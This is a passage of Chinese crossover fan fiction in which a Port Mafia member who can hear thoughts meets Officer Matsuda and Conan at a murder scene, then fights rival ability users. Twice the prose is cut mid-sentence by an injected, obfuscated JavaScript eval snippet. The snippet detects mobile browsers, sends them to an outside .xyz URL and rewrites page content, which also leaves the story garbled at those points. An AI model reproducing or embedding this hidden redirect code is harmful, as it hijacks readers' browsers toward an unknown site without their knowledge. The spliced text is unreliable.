但先代那时不知道看了什么电影,又或者是听谁说了什么有趣的事,脸上的笑容虚弱又阴森,开口就是一句“光希啊,你想去当警察吗。” 十六岁的雾岛光希停下脑子里阴暗的想法,当时脑袋上就冒出了个问号。 他那几年过得水深火热的,白天和警察混在一起,晚上又回到港口黑手党执行任务。雾岛光希本就是很容易耗尽精力的性格,那几年更是一口气上不来,刚进休息室的门就面朝下地倒在地上变成一滩不明生物体。 傻瓜鸟大咧咧地在他旁边蹲着,说了什么雾岛光希记不清,反正他们问什么雾岛光希都一律说“哦”,最后还是钢琴家解围地说了一句“雾岛一看就没在听你们说话,别把他答应的事情太当真”。 那时候的港口黑手党有个不知道哪来的狗头军师。生动诠释了什么叫做趁人病要人命,狗头军师和先代耳语了几句,跟在测试他的服从性似的,当天晚上雾岛光希就收到了莫名其妙的让他用异能把警视厅和警察厅的大楼当烟花炸了的命令。 四年前,大概是先代良心发现,也可能是港口黑手党挑起的战争太多,最主要的是那位狗头军师给先代下药的事情暴露,被那时港口黑手党的干部们联手悄无声息地暗杀了。 在销毁一些资料后,雾岛光希终于得到“任务结束”的命令。他以假死的形式得以脱身,再次全身心投入黑手党的工作中。 至于松田阵平—— “名字?” “日影光希。” “年龄。” “二十三。” “旁边那个是你弟弟?” “……” “朋友家的弟弟。”雾岛光希说。他瞥了眼梦野久作奇特的瞳孔形状,抬手按着他的脑袋,不动声色地把试图挪到松田那的人拎了回来。 没想到会在这里碰到警校时期的熟人,雾岛光希也懒得再感慨自己倒霉了,索性对方问什么答什么。 【可恶】 梦野久作的声音有点沮丧。 【一个警察而已,光希为什么不让我用异能】 梦野久作是个很麻烦的异能力者。 作为少有的精神系,他通常会利用绑在手臂上的刀片,主动地制造些碰撞,以达成异能[有人对自己造成了伤害]的发动前提。 操控别人的精神,令敌人自相残杀—— 梦野久作的异能一旦投入使用,势必会造成大规模的混乱。 小孩子都有劣根性。更别说是黑手党里的小孩子。 港口黑手党的成员见到梦野久作都是绕着道走,更有甚者看到梦野久作一笑,就被吓得连滚带爬,根本不会理会梦野久作让他们陪他玩的请求。 生活在这种环境下,久而久之,梦野久作的性格就越发扭曲。 当年的雾岛光希被蹦蹦跳跳的梦野久作撞了一下,他那时看着自己手上[脑髓地狱]的印记,在梦野久作笑嘻嘻地想对他故技重施的前一秒,目光黑压压地扫下来,抬手捏着小朋友的脑袋,像拔萝卜一样把人捏在了半空。 【“撤销。”】 声线平淡,雾岛光希仅仅只是说了情理之中的两个字,年仅六岁,原本还笑得很开心的梦野久作哇地一下就哭了。 雾岛光希之后才从尾崎红叶那里得知,久作是以为自己要把他当炸/弹炸掉。 所以理论上,久作应该也很怕他才对。 ……搞不懂。 依旧对脑子里的声音没什么信任度,雾岛光希不理解梦野久作为什么自来熟地喊自己名字,但他本身也不在意这个,纠正了两次失败后,索性也就懒得管他。 “你带朋友家的弟弟单独出来玩?” “学校的老师说要交昆虫作业。”面对松田阵平的提问,雾岛光希平静地做出回答,“门口的管理员说可以来这边碰碰运气,结果还没动手就听到了那位小姐在尖叫。” 同样被作为目击证人留了下来,雪代真纪原本一直在偷偷打量着松田阵平和雾岛光希,突然瞧见两个人同时看向自己,顿时慌乱地把视线移向别处。 【不行不行不行,平常偷偷看漫画就算了,要是被其他人知道我竟然把两个陌生人组在一起,我在公司里就要彻底抬不起头了】 【但话说回来,那位叫松田的警官还挺帅的,至于另一位雾岛先生,背影看上去完全就是个大美人,怎么正脸反而没那么吸引人,难道这就是上帝给他打开了一扇门,又关了一扇窗?】 雾岛光希心平气和。 大家对他按照自己审美做的易容到底有什么意见。港口黑手党里就算了,竟然到了外面也没有人能欣赏他的审美吗。 “雪代小姐。”察觉到雪代真纪的不对劲,佐藤美和子皱眉,担心地问道,“你的脸色看上去不太好,不用一直待在尸体旁边,要不要先去旁边坐会。” 佐藤美和子不说还好,她一说,雪代真纪就再次想到了那具泡得面目全非的尸体。 女人的脸色苍白,“哇”地一声呕了出来。 【雪代!你振作点啊雪代!想想帅哥!想想你磕的cp!想想你的罗曼史魔王还有恋爱舞台——】 雾岛光希眯起眼,听到最后完全不知道在听什么东西。 前面的就算了,如果用他单纯的精神分裂来解释,那后面那一串他闻所未闻的究竟又是什么。他精神分裂的时候难道还会幻想出没听过的名字? “这句话是在撒谎吧。”注意到雾岛光希的视线依旧停留在远处被佐藤搀扶的雪代身上,松田阵平开口。 他见雾岛光希将目光挪了回来:“死者可是实打实地在水里泡了几天,就算没有尖叫,正常人见到受害者也是雪代小姐那样的反应,听其他人说,你可是从始至终都是这副表情。” 雾岛光希沉吟:“……这是要给我定罪吗。” 松田阵平:“不是。” 那看来不用说太多话解释。 雾岛光希:“那我就是天生没什么表情。” 松田阵平:“……” 【不仅是这令人火大的说话方式,连说话的声音也很像,光那家伙该不会有活着的兄弟?】 雾岛光希:。 为了不暴露自己,雾岛光希弯唇,在松田阵平面前露出了个堪称灿烂的笑容。 这是以前【雾岛光】脸上从没出现过的笑容。 “我说的都是真话。” 松田阵平沉默,看见面前的人脸上充满威胁意味的笑容时微微眯起眼:【他在挑衅我?我惹他了?】 雾岛光希:? “但如果是来抓昆虫的话,一般都会带专门的盒子哦。” 雾岛光希低头,发现江户川柯南不知什么时候来到了自己的脚边。 “因为大哥哥看上去什么都没有准备,所以松田警官才会觉得大哥哥在撒谎。” 【这家伙的气质……黑色的装扮,还有为了避免留下指纹常年戴着手套的习惯,难道——】 江户川柯南心下一沉。 【和琴酒他们有关的成员么】 雾岛光希陷入了沉思。 什么情况,gin这个代号不是大众名吧,这戴眼镜的小鬼怎么又和隔壁组织扯上关系了。 突然听到这样的话,雾岛光希也顾不得自己脸上的笑容到底是怎么样的了,他盯着面前的江户川柯南看了几秒,忽然意识到这似乎是个很好地验证某些事情的机会。 “如你所见。”雾岛光希开口,说话时故意将黑色的手套摘下,“我只是有洁癖而已。” 雾岛光希不常用枪,因此手上也没有常年握枪的人留下的茧子。至于近身格斗时留下的那些细小的伤口,在来这里前,也被雾岛光希严谨地用一些东西涂抹了。 江户川柯南一愣。 【等等,为什么这家伙会知道我注意到了他的手套?刚刚我有把手套的事情说出来吗?】 “至于你说的盒子,那里有自动贩卖机。”雾岛光希的余光扫过远处的售货点,“只要把水喝完,再往瓶子上扎几个洞,就能当做装昆虫的容具了。十几年前大家都是这么干的。” 【就算这样也很可疑吧。说是邻居家的小孩子,但刚才普通的小孩竟然还对这种程 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“但是……” “不可以就是不可以。” “……” 梦野久作抿唇,他知道这是光希生气的前兆,于是重重地哼了一声。 小朋友可爱的一张脸垮下来,索性也不装了,别过脸去前还不忘狠狠地瞪了不明所以的江户川柯南一眼。 【我要和光希绝交】 【光希再也不是我最好的朋友】 【除非光希和我道歉,否则今天晚上我只吃米饭】 雾岛光希沉默,隐隐意识到自己听到的声音原来真的有几分可信度。 但这才是真正的七岁小朋友该有的表现,这个叫柯南的小鬼哪里看哪里怪。 系统:[都说了我们读心系统从不骗人!我可是主系统万里挑一,检测正确率高达85%的优秀员工!] 就像是为了印证它的话的真实性一样,雾岛光希耳边的声音数量陡然增多。 【要迟到了】 【好恐怖】 【人类真是愚蠢,本咪只要略施小计,人类就会天天带好多罐头来看咪】 【呵呵,没用的日本警方,想不到我作为杀人凶手还会回到案发现场吧,谁让这家伙竟然专门到我面前炫耀他要和美绘结婚。可恶,要不是上面突然通知那个池塘要换水,就让他在水里沉眠一辈子好了】 【但那个胖胖的人类真是愚蠢中的愚蠢,他竟然想要布置陷阱来抓本咪,那块带血的布本咪早就吐掉了,谁稀罕他的破布】 【谁!谁往我头上扔破布!我藤原竜也——不对,那边那个矮不楞叽的不是以前巡逻总赖在雾岛身边的小鬼吗,也就是说……呵呵,趁雾岛还没认出我,待会我就放个冷枪,然后偷偷将凶器放到雾岛身上,雾岛那装13的家伙肯定懒得说一大堆话辩解,等之前联系好的记者过来,深挖一下他过去干的那些好事,就算是港口黑手党也不可能把他从局子里捞出去】 【进过局子的黑手党算什么黑手党!这样一来,雾岛这装13的家伙以后在我面前再也直不起腰了哈哈哈哈哈哈哈!】 一堆围着尸体的警察,得意洋洋的小猫,不知道为什么内心活动如此丰富的藤原,还有发现藤原手握自己犯罪证据,瞳孔地震,碍于警方在场又不好发作的凶手…… “怎么。”松田阵平合上手里的笔记本。他勾着唇,顺着雾岛光希的视线看去,稍稍挑了下眉,“你也知道凶手是谁了?” 周围人的目光一下全都聚集了过来。 万众瞩目的雾岛光希语塞,他察觉就算离开了警校,自己果然还是和松田阵平这家伙有仇。 “没有。”青年的声音幽幽的,在藤原竜也陷害自己以前,先下手为强,“但那边那个穿蓝色衬衫的,你们不觉得他手里捏着的那块布和管理员先生的制服很像吗。” 谁说他被陷害后会懒得辩解的。这不是还有不用说一长串话辩解的方法吗。 在藤原竜也震惊的注视中,雾岛光希的唇角出现了一个微乎其微,他自己都没察觉到的邪恶弧度,这下倒是笑得真心实意的。 呵呵。 5. 第 5 章 “等等。”现场最先反应过来的是还根本没有头绪的目暮警部,“松田,你刚刚说的也知道凶手是谁是怎么回事?你早就知道凶手了吗?” “啊。”松田阵平懒散地应了一句,“受害者的死因初步确认是头部遭到撞击后溺亡,据雪代小姐的目击证词,发现尸体时身上还缠着些藻类,说明至少第一案发现场不是在室内。在排除这个埋尸地点对凶手有什么特殊意义的情况下,那案发的最可疑地点就变成了两公里外的水塘。大概是因为再过两天就是更换池水的时间,凶手这才将绑着石头沉在底部的尸体捞起来。” “不对。”同样被牵扯进来的管理员满头大汗,讨好地笑了声,“为什么直接就排除了这个地方对凶手有特殊意义的可能。” “不觉得矛盾吗。”松田阵平挑眉,“凶手在受害者身上铺了落叶,那就证明是有掩盖尸体的倾向。既然凶手已经知道这附近的监控在维修中,那就说明他有充足的时间去处理尸体,在这种情况下,凶手为什么还会忽略掉尸体周围留下来的脚印。” “那串脚印延续到几百米的地方就停止了。”佐藤美和子捏着下巴,思索着鉴识科的报告,“不知道因为什么突然折返了回来,刚刚高木和松田就是在调查这个。” 她的话说到这里停住,猛然意识到不对劲的地方。 “没错。”江户川柯南接上佐藤警官的发现,“从受害者的体型看,能将尸体转移到这里的应该是位男性。成年男性行走的时候,一步通常是60-70厘米的距离,从现场的步距看,犯人当时明显是在追赶什么,并且是因为知道了没有追赶上的可能后,才放弃地折返的。” “……”雾岛光希一动不动地盯着他看。 感受到落在背后的目光,江户川柯南的脚底窜起一股凉意,摸了摸脑袋,装模作样地笑着说:“啊哈哈,这都是刚刚高木警官告诉我的啦。” 根本没干过这回事的高木涉愣了下:“……我,我吗?” “假设目击到犯人掩盖尸体的是游客,那附近的警察署应该已经接到了报警电话。”松田阵平没拆穿江户川柯南的说辞,只是看了眼在树上看向这边的小白猫,“那只猫的尾巴上有一撮毛是黑色的,我记得之前网上的照片里,它的尾巴可没有这样的造型。” “啊!是真的!”雪代真纪以极快的冲浪速度在推特上找到了这只经常向游客讨要零食的猫的照片。 “我想凶手在掩埋尸体时制服上一定是不慎蹭到了尸体上的血。”松田阵平说得不紧不慢,“当然,如果没有那只猫捣乱,凶手可以有充足的时间处理尸体,然后再将制服和鞋子烧毁,换一套新的。” 管理员的脸色惨白:“那和我有什么关系,只要是这个地方的员工,不都有这样的机会吗。” 松田阵平:“其他的员工,可没有和你一样刚刚死死地盯着那位拿着布条的先生看。” “那么池田先生。”目暮警官背在身后的手松开,“方便给我们确认下你身上是否有类似的抓痕吗。” “这根本不能算证据!”名叫池田的管理员后退两步,“就算我身上有抓痕,那也只能证明我和那只猫合不来而已!制服也有别的管理员有!你们的推理根本是凭空捏造!现在的警察就靠一张嘴办案了吗!” “如果只是这样,你就不会急着去追那只猫了吧。”松田阵平看向不远处,刚才被雾岛光希指出捏着个布条的男性,“我想那恰好是绣了你名字的地方,所以你才会抛下埋了一半的尸体,想把染上受害者血迹的布条抢回来。” 池田的嘴唇失去血色,他脱力地跪倒在地上,在周围人群的指指点点中,愤怒地瞪向江户川柯南:“都是这个小鬼!” “本来就算被那只猫影响,我也来得及将尸体埋好的!明明距离开园还有两个小时!这家伙却抱着个滑板,突然跑了进来,来来回回地不知道在找什么东西,还问我前一天有没有那种双手插在口袋里,鬼鬼祟祟地反复停留在一个地方的可疑人物!” “匆忙之下,我也就只能用树叶把尸体暂时盖起来了啊!” “喂!”毛利小五郎一把拎起地上的江户川柯南,“我说你今天怎么闹着要跟来!你这小鬼又偷看我的邮箱了吗!” 【不仅看了还告诉了安室先生,还有,现在到底还有谁用自己的生日当密码啊】 江户川柯南两条腿在空中心虚地晃了晃:“我只是来抓独角仙的啦~” 雾岛光希:…… 那你自己抓独角仙的箱子呢。 和雾岛光希的关注点不同,松田阵平盯着素不相识的藤原开口道:“那么只要这位先生把手里的东西交出来,这起案子的证据就齐全了。” 如果说刚刚万众瞩目的是雾岛光希,那么现在万众瞩目的就变成了藤原竜也。 他嫁祸雾岛光希的计划破败,自己也知道,在警察这么多的情况下动枪,肯定会不小心弄死几个警察,那以后就不是警察的事了,是特务科要派猎犬来找他的事了。 藤原竜也只是想把自己的死对头弄得身败名裂而已,还不想把自己送进去。如果要被送进去,那他宁可自己把自己杀了。 藤原竜也冷笑,他毫无预兆地,一把抓过距离自己最近,看起来最没威慑力,还在发誓[自己以后再也不要理光希]的梦野久作。 【这小鬼跟着雾岛这么久,雾岛还没把他杀了,想必是港口黑手党哪位大人物的儿子,把他抓走,雾岛肯定会跟上来】 “不许动!” 事态陡然转变。 在藤原竜也用枪抵住梦野久作的脑袋的同时,现场的警官们也迅速戒备了起来。 佐藤美和子的神色严肃:“这位先生……” “闭嘴!”藤原竜也大吼,他的手臂将看起来根本不慌的梦野久作卡住,神色莫名地看向一旁的雾岛光希,“我在老地方等你,你知道的吧,你要是不来,我就把这小子杀了。” 他说完,就退到了原本停车的位置。 雾岛光希抬手,将江户川柯南抬起的手臂按下。手表的表盘已经被打开,聚精会神的江户川柯南一愣,停下发射麻醉针的动作,下意识地抬头看他。 “藤原的手指在扳机上。”雾岛光希垂眼道,“麻醉起效还要时间。” 况且,久作也不是普通小孩。 [脑髓地狱]可是能让大部分黑手党绕着走的异能,港口黑手党之所以很少真正将梦野久作投入战斗,一方面是因为将损失最小化,一方面是为了加强保密,将梦野久作作为杀手锏藏着。 这其中的坏处也很明显。 港口黑手党以外,很少人知道[脑髓地狱]其实只是个吃零食会蛀牙的小孩。 雾岛光希抬眸,心想只要久作现在发动异能,藤原别说逃跑了,当场就可能会变为智商为0的精神病患者。 然而…… 梦野久作没听见雾岛光希的话,他只是看着青年按住江户川柯南手臂的手,圆圆的眼睛眯了眯,脑袋上冒出个邪恶的灯泡。 【这就是电视里人生一定要有一次的离家出走吗】 梦野久作沉痛地想起昨天晚上电视剧里大哭的主人公,因为知道藤原打不过自己,所以一点危机感也没有了。 【只有等光希失去我,光希才会知道我才是他最爱的小孩】 【没错!】 梦野久作说服了自己。 【等光希追上来忏悔的时候!我再把这藤什么的弄晕送给他!这样光希就知道我才是最有用的!】 雾岛光希:。 雾岛光希:…… 雾岛光希:………… 看着一脚油门扬长而去的藤原,雾岛光希难得情绪外露地深吸一口气。他在心里暗暗发誓,等回了港口黑手党,一定要严格限制梦野久作看电视的时间。 发觉事态严重的警官们立刻上了警车,目暮警部没料到一起杀人案会发展到这种地步,还是在警方和群众的众目睽睽之下发展到这种地步。在这种混乱的情况下,一时间也没人去管跪倒在地的池田。 目暮警部给交通部打了电话,根本没听到被拷住的池田在那大叫“喂!我可是杀了人啊!你们这么快就——嗯?不对,那个布条好像……不对!你们跟本没有我犯罪的证据!快把我放开!” 雾岛光希认命地踏出一步,刚要往自己的车那里走,松田阵平的声音就在他背后响起。 “你根本不是那孩子所谓的邻居吧。” 松田阵平眼神锐利地看着他,没跟随上高木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267595|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的脚步,在极短的时间内敏锐地做出抉择。 “发生了这种事也不慌不忙,刚刚挟持那孩子的凶手可是一副和你很熟的样子。既然你们两个是相互认识的关系,如果你还打算继续对接下来的事保密,这起事件就变成了你们两个联手,对那孩子实施的有预谋的绑架。” 所以雾岛光希向来是反对有脑子的人去当警察的。 他握住车把的手被按住,看了眼松田阵平将车门按回去的动作,感慨为什么[一觉醒来全球警察智商归零]这种梦想不能实现的同时,停顿两秒,转头看向江户川柯南:“藤原到底是谁,这位侦探应该也很清楚。” 江户川柯南被点到名,这个时间点也没空装可爱。 他抱着刚拿回来的滑板,以大人的口吻回答:“叔叔收到的邮件里只写了他有一些组织犯罪的证据,既然日影先生你认识他,那么就说明日影先生你也是那些组织的相关人士吧。” “在我回答这个问题以前……”雾岛光希扬起眉梢,“你和琴酒是什么关系?” 江户川柯南不可置信地瞪大了眼。 【他怎么会知道……他果然是!】 “就是你想的那样。” 江户川柯南意外平静,他秉着不将松田阵平扯进来的原则,直视着雾岛光希那双不带任何感情的眼睛。 当然是他绝对会把琴酒和那个组织绳之于法的关系!不然还能有什么关系! “我想的那样……”雾岛光希轻轻重复了一遍这个说辞,低笑一声,“能和警察站在一边,你的勇气还真是惊人。” 绝对是琴酒的同伴! 早就听傻瓜鸟说琴酒有私生子,听到琴酒的名字是这种反应,不是琴酒的私生子是什么。 视线交汇,两个人微妙地在某些结论上达成了共识。 系统:[???] 系统:[是这样吗] 雾岛光希:是这样的 系统:[那您下一步的计划——等等!您竟然理我了!好感人!] 现在又不想理了。 系统:[?] 系统:[可恶,您的情绪好难以捉摸] 雾岛光希看了眼面前的松田阵平,又看了眼江户川柯南,由于脸上的易容道具闷得他有些难受,因此也没了再浪费下去的心思。 久作是不会有危险的。有危险的是藤原在被他抓到前就被警察抓了。 “松田警官。”雾岛光希的目光落回自己握着车把的手上,“你打算再按着我的手多久?” 松田阵平一愣,刚要抬手,拳风就裹挟着杀意迎面而来。松田阵平下意识地侧脸避开,黑色的墨镜却被掀到了地上。警官在后撤的同时转守为攻,一拳往雾岛光希的下颌打去。 “有两下子嘛。” 差不多也猜出了面前这个人犯罪分子的身份,松田阵平的视线锐利,显然也认真了起来。 两个人的交手一时间大有要把对方打死的架势。雾岛光希的余光注意到蹲下去调整球鞋的江户川柯南,顺势后撤一步。他鞋尖一挑,先发制人地朝松田阵平踢去脚边的易拉罐。 而就在松田阵平打算和之前一样躲开时,绿色的易拉罐却开始扭曲变形,甚至散发出白色的光。 直觉的驱使下,松田阵平的瞳孔骤缩,一把将江户川柯南捞在怀里,随着重力扑到一边。 这确确实实是一起爆/炸,掀起的气流也确确实实令松田阵平在地上滚了两圈。 可和传统的炸/弹不一样,漫天飞舞的蓝色蝴蝶受惊般地散开。 察觉到上当,松田阵平面无表情地起身。 搞得这么浪漫,心倒是纯黑的。 “松田警官。”江户川柯南问,“您在想什么呢?” “还能想什么。”松田阵平弯腰,捡起刚刚被自己踩碎的墨镜。 有一只蓝色的蝴蝶落在他的手背,似乎是在嘲笑前不久还觉得对方与自己死去的同伴有些相似的松田阵平。 【刚刚竟然会觉得这家伙和光有点像……】 松田阵平嗤笑一声,他打开车门,也没管来蹭车的柯南,只是眼神坚定地踩下油门。 “这种爱变魔术的危险分子,就该让他在监狱里好好忏悔。” 6. 第 6 章 黑色的轿车在马路上狂飙。 为了避开警察的追捕,雾岛光希瞥了眼后视镜里穷追不舍的几辆警车,没有立即去藤原暗示的地点,反而在直行道上将车速极速拉高。 方向盘在即将通过十字路口时猛地转动,黑色的车身与右侧驶过的卡车擦过时带起一阵红色的火星。利用做掩护的卡车右转后,雾岛光希索性撞开护栏,将车开进了一家商场的地下停车库。 “小心点!先排查危险物品!” “目暮警部!车里是空的!” “去查监控!那家伙怎么可能在眼皮底下消失!” 不过迟了两分钟,此时的轿车内却空无一人。打开后备箱的江户川柯南微愣,他用手帕包住包裹的拉链,看到里面的物品后喊了声“松田警官!” 松田阵平很快认出包内的物品。 “……易容工具吗。” 他迅速做出反应,目光扫过停车场内好奇地打探发生了什么的民众,最后将目光锁定在一辆红色的跑车。 看着像保时捷911系列,但大概是经过改装了改装。跑车的主人戴着顶鸭舌帽,压低的帽檐遮住大半张脸,黑色的长发落在肩上,脖颈的线条也被高领的上衣包裹着。 随着引擎声的远去,有几位年轻的警官愤愤不平地抱怨“有没有搞错,竟然在车库里飙车吗”。 “有钱人就是这样的,那辆车估计要四千多万吧。” “算上改装费……喂!松田!你去哪!” “都给我后退!”意识到什么的松田阵平吼道。他的脸色比吃了苍蝇还难看,令这几位警官下意识地就走远了几步。 “什么啊!松田这爱吩咐人的——” 后知后觉地意识到自己根本没必要听松田的命令,警官们谴责的抱怨声在冲天而起的火光中戛然而止。明明第一时间排除了任何炸/弹的痕迹,可以提取的指纹却在吞噬了轿车的火焰中消失殆尽。 “……的……的……” 几位年轻的警官一愣,他们喃喃自语地接上刚才还没说完的话,看着松田阵平快步走到车边,打开车门,说着就想要追上去。 佐藤美和子在这时接到高木那边把藤原也跟丢了的电话,江户川柯南小跑着,跟着窜进松田阵平的车里。 松田阵平看了他一眼,发动汽车。 “算上刚才那次,你一共发了两次短信。是在和谁联络?” 江户川柯南给自己系好安全带,被松田阵平一脚油门带来的强大推背感吓了一跳:“风,风见警官?” 警视厅大楼的后面就紧挨着警察厅的大楼,作为公安的风见裕也时常在两栋楼间穿梭,偶尔也有出示警官证,直接将案子从搜查一课手里抢走的时候,松田阵平对对方稍微有点印象。 他挑了挑眉,意有所指:“公安和你们刚刚谈论的那个琴酒有关?” “……”江户川柯南停顿两秒,尽管坐在座位上连脚都碰不到地,但还是很快装出了相应的回答。 “什么琴酒。”江户川柯南打哈哈道,“刚才那个大哥哥应该只是打听好喝的酒的种类吧。” 为了避免打草惊蛇,暴露自己的身份,把危险引到小兰他们身边,在没有明确的证据的情况下,组织的事是需要绝对保密的。 而且要是告诉松田警官这件事,风见警官和安室先生肯定会生气。 “没错,就是这样。”江户川柯南心虚地看向别处,自己也不相信自己的说辞,竭力装作一个普通小孩。 虽然普通小孩根本不该每天和警察还有罪犯混在一起。 “哦~是吗。”松田阵平扬了扬眉梢,瞥了眼这个小侦探。 据说是寄养在毛利小五郎家里的关系,松田阵平早就发现了对方身上的古怪,之前想在波洛咖啡厅吃饭的时候顺便从对方嘴里套点话,结果他那假扮服务员的同期连一点停顿也没有,很自然地就用菜单挡住了松田阵平的目光。 喂喂,搞什么,以前上学的时候怎么没看那家伙这么喜欢照顾小孩。还有这次的事,和那个风见的家伙又有什么关系,降谷知道这小鬼和他的部下在互相通气吗。 松田阵平想到这里,没再追究下去,他收回视线,口吻轻佻,直视前方的神情却很认真。 这个叫【日影光希】的炸/弹犯,真是让他想起了很多不好的回忆。 - “差不多得了吧。” 高濑会在东京的废弃据点里,雾岛光希盘算了会松田阵平可能找到这里的时间,敷衍地对着面前的藤原说道。 “龙头战争的时候,你的部下是被他自己的异能杀死的,不要把什么都怪到港口黑手党头上。” 他多说了好多字。森先生这不得夸他进步。 “什么得了!”藤原竜也咬牙切齿,抬手一指,“那件事暂且不提!你这看不起人的家伙就连逃跑都要开这么骚包的车吗!你白痴啊!” 【有钱了不起啊!恨不得昭告天下港口黑手党在龙头战争里独吞了五千亿是不是!——哼,区区五千亿……啊啊啊!凭什么是港口黑手党拿到那五千亿!】 红色跑车的座位上随意扔着黑色的假发和帽子,还有从脸上撕下来的已经有些破损的面具。先前的违和之处散去,从眉毛到嘴唇,暴露在黄昏下的这张脸找不出半分瑕疵。 停顿几秒,藤原竜也听到雾岛光希说:“我就只有一辆车。” 藤原竜也:“……” 雾岛光希是个很少飙车的人,他对追求刺激的欲望很低,也没有什么特别喜欢的东西。因此除了港口黑手党的宿舍外,雾岛光希没有专门的住所,唯一自己购买的黑色轿车还是三年前港口黑手党的专车开到一半坏了后他直接去店里买下的。 至于现在,为了脱身,雾岛光希不得已炸了自己为数不多的代步工具。 “咳。”罪魁祸首清了清嗓子,“那这辆红的你刚买的?待会它要是也炸了,你可不能怪到我头上。” 雾岛光希没说话。反倒是一旁假装柔弱的梦野久作听到这句话扬起了小脑袋。 【这家伙想当着光希的面炸了植物鸟的车,他不要命啦】 ……傻瓜鸟只是还在昏迷,又不是变成植物人了。 雾岛光希听着周围树叶的沙沙声,他站在原地,脚下的土地却蔓延开一道裂缝。裂缝的一端往他身后延伸,内部引发的爆/炸将一整块沥青掀开,挡住了从他背后而来的雷电。 房子上站着一个,身后的树林里走出来了两个,算上藤原竜也,那就是四个。 雾岛光希瞥了眼另一位异能力者手上的火焰:“高濑会所有的幸存者是都在这里了么。” 【怎么可能】 【那几个老不死的家伙没有一点骨气,不知道躲在哪个角落,就等着港口黑手党自取灭亡后趁机吞并他们的势力,拜托,要是真有那种好事,gss动得比我们更快】 “解决你我们几个就够了。”藤原不屑道,“雾岛,虽然不知道你是怎么受了那种伤还能站起来的,但看在我们小时候也是朋友的份上,现在求饶还能饶你一命。” 雾岛光希侧过身,反手握住袭击向自己的一个异能力者的手腕。他的袖子被燃起的火焰燎到一些,稍稍用力,直接将对方当做沙包,向跑来的另一个异能力者扔去。 雾岛光希:“我们小时候什么时候见过了?” “……”轻飘飘的一句话,藤原竜也却瞬间破防。他的脸上流露出一丝狠厉,倒映在地上的影子幻化成老虎的形状,在空地上发出声咆哮。 “你就死到临头嘴硬吧。”藤原说,“我们已经掌握了龙头战争始作俑者的关键证据,一旦公之于众,别说港口黑手党,就连——” “异能特务科。”雾岛光希风轻云淡地接上他的话,道出这次任务没让黑蜥蜴参与的原因。 【令龙头战争后期失去秩序,导致数万普通民众在迷雾中丧生的,是归属于异能特务科的某位异能力者——哈,这哪家媒体能想到呢】 脱膛而出的子弹穿透了影子,眼见幻化出的凶兽扑向自己,雾岛光希皱眉,听着藤原的心声,不得已往后一跃。 “你知道?”藤原竜也的嘴角咧开,“你知道,那就是你们的那位首领也知道。” 【雾岛知道又怎样。我可是有特务科回收那位异能力者时的录像。这样的丑闻一旦曝光,别说特务科了,就算是内务省也得受到追责。只要有了这个,就可以威胁他们特务科插手,把这伙人做的好事全都公布出来】 雾岛光希不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267596|182157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这算不算系统那85%的正确率。 如果算的话…… “干什么!”藤原竜也又破防了,“干什么用这种[你是白痴]的眼神看着我!小时候也是这样!我问你要不要加入高濑会,你说对黑手党不感兴趣,结果转头就加入了港口黑手党!” 雾岛光希板着张脸,单手撑在影子幻化成的凶兽的头顶,引导追击自己的雷电对影子造成攻击。 不出意料地也穿过了。 异能和子弹都不起作用,那只剩下直接攻击被两名异能力者保护的藤原,或者与这东西肉搏两条途径了, 雾岛光希观察着那只嘶吼着的野兽,心想还真是麻烦。 “是吗。”雾岛光希真心实意,“原来还有这种事。” 藤原竜也:“……” 【啊啊啊啊啊啊!这/@$%^&*的家伙!故意的!他绝对是故意的!我要把他&%¥&,再#$^&%!让他也知道被人忽略是什么滋味!】 雾岛光希:…… 搞不懂,他是真的没有印象,这家伙这么生气干什么。 光影幻化出来的绳索缠绕上雾岛光希的腰和脚踝,青年垂眸看了眼,再掀起眼皮时,黑兽的前爪已经快要触碰到他的眼睛。 “久作。”雾岛光希不轻不重地喊了声,没有再使用自己的异能。 尖锐的爪牙在触碰到雾岛光希的前一秒停滞,紧接着,鲜血四溅而起,负责保护藤原竜也的一名异能力者捂着被咬伤的肩膀,不可置信地喊了声“藤原大人”。 藤原竜也说不了话。他的双目圆睁,瞳孔却聚不了焦,脸上是被[脑髓地狱]标记后出现的痕迹。 “怎……怎么可能……”凭借着仅存的意志,藤原的眼瞳挪动,看向一旁将娃娃撕成两半的梦野久作,“[脑髓地狱]不是应该在禁闭室里……” 梦野久作扬起天真无邪的笑容,歪了歪脑袋,没有回答他的话:“好了,大哥哥,不可以欺负光希,来陪我一起玩吧。” 藤原竜也感到自己的身体不受控制,他看着自己的异能向自己的部下走去,这才发现自己一开始就中了雾岛光希的圈套。 愤怒涌上心头。藤原竜也咬牙,瞪着梦野久作的眼神充满恶意:“什么光希,喊得这么亲密,你知道他是什么人吗?这家伙可是曾经背叛了那个瓦里安,瓦里安你知道吗,这没感情的魔鬼前脚和你过家家,后脚连带着他的前辈死了都不掉一滴眼——” 哐—— 侧脸的伤痕和[脑髓地狱]的标记重合在了一起,雾岛光希的这一脚踢在藤原的太阳穴处,将他连人带枪踢飞出去。 藤原的后背撞上建筑物的外墙,面朝下地倒在地上,异能也随之消失。 “在小孩子面前说大佐先生什么呢。”雾岛光希缓步走到他的面前,他一脚踩在对方的后脑勺,制止了藤原想要再次抬头的动作。 青年低下眼,先前因为带着小朋友而收敛的盛气凌人总算爆发了出来。 梦野久作眨巴眨巴眼睛。 【光希生气了】 